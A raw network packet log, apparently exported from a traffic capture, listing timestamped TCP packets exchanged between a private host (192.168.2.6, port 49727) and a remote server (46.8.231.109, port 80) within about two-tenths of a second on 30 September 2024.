Sep 30, 2024 13:59:45.275255919 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.275265932 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.275268078 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.275275946 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.275288105 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.275293112 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.275310040 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.275324106 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.275336981 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.275361061 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.275371075 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.275382042 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.275401115 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.275407076 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.275412083 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.275423050 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.275435925 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.275444984 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.275454998 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.275454998 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.275466919 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.275475979 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.275501966 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.275512934 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.359210968 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.359246016 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.359256983 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.359276056 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.359311104 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.359332085 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.359343052 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.359354019 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.359364986 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.359375000 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.359404087 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.359416008 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.359580040 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.359592915 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.359605074 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.359622955 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.359627008 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.359637976 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.359648943 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.359648943 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.359661102 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.359678030 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.359683037 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.359693050 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.359704018 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.359708071 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.359719038 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.359730005 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.359730959 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.359757900 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.359781981 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.359782934 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.359802961 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.359814882 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.359826088 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.359839916 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.359867096 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.359896898 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.359906912 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.359926939 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.359941959 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.359980106 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.360001087 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.360012054 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.360023022 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.360033989 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.360059977 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.360073090 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.362127066 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.362143040 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.362164021 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.362179995 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.362190962 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.362205029 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.362210989 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.362221956 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.362231970 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.362234116 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.362245083 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.362251997 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.362265110 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.362277031 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.362277985 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.362287045 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.362298012 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.362312078 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.362319946 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.362320900 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.362329960 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.362340927 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.362364054 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.362373114 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.362409115 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.362418890 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.362431049 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.362446070 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.362461090 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.362473965 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.362474918 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.362484932 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.362495899 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.362507105 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.362515926 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.362518072 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.362541914 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.362556934 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.362571955 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.362581015 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.362591028 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.362601995 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.362608910 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.362612009 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.362626076 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.362633944 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.362644911 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.362644911 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.362654924 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.362673044 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.362701893 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.362894058 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.362905025 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.362926006 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.362936974 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.362947941 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.362955093 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.362962961 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.362982988 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.362994909 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.362997055 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.363006115 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.363017082 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.363037109 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.363065004 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.363070965 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.363075972 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.363086939 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.363097906 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.363101006 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.363107920 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.363118887 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.363118887 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.363132954 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.363133907 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.363147974 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.363159895 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.363179922 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.363277912 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.363291979 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.363302946 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.363322020 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.363333941 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.363337040 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.363343954 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.363354921 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.363360882 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.363373995 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.363393068 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.363404036 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.363415956 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.363415956 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.363424063 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.363435984 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.363439083 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.363445997 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.363456964 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.363462925 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.363471031 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.363486052 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.363490105 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.363513947 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.363537073 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.363632917 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.363643885 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.363663912 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.363668919 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.363684893 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.363689899 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.363697052 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.363702059 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.363708019 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.363718987 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.363723993 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.363729954 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.363742113 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.363742113 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.363763094 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.363771915 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.363775015 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.363785028 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.363785982 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.363799095 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.363814116 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.363815069 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.363838911 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.363852978 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.363924980 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.363971949 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.363984108 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.364022970 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.364070892 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.364084005 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.364095926 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.364106894 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.364130020 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.364147902 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.364168882 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.364180088 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.364222050 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.364295959 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.364310026 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.364321947 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.364331961 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.364332914 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.364356041 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.364391088 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.447841883 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.447860003 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.447871923 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.447890043 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.447897911 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.447901011 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.447911978 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.447922945 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.447925091 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.447935104 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.447957993 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.447985888 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.448092937 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.448141098 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.448180914 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.448191881 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.448201895 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.448223114 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.448224068 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.448242903 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.448250055 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.448256969 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.448266983 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.448276043 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.448278904 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.448292971 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.448299885 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.448321104 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.448329926 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.448343039 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.448344946 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.448354959 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.448359966 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.448364973 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.448375940 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.448389053 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.448390007 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.448411942 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.448414087 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.448421001 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.448427916 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.448460102 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.448555946 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.448566914 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.448584080 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.448592901 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.448605061 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.448616982 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.448617935 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.448626995 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.448633909 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.448662043 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.450709105 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.450731993 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.450742960 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.450752974 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.450764894 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.450784922 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.450803041 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.450814962 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.450825930 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.450836897 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.450855970 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.450865984 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.450880051 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.450894117 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.450906038 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.450917006 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.450926065 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.450927973 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.450958967 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.450967073 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.450978994 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.450987101 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.450999022 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.451010942 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.451018095 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.451023102 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.451045036 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.451056957 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.451100111 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.451111078 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.451121092 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.451133013 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.451138973 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.451144934 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.451152086 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.451179981 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.451219082 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.451230049 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.451246023 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.451256990 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.451261997 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.451267958 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.451277971 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.451288939 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.451291084 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.451308966 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.451323986 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.451473951 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.451514959 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.451520920 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.451534986 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.451569080 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.451631069 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.451643944 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.451654911 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.451667070 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.451668978 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.451702118 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.451703072 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.451777935 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.451791048 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.451802015 CEST	80	49727	46.8.231.109	192.168.2.6
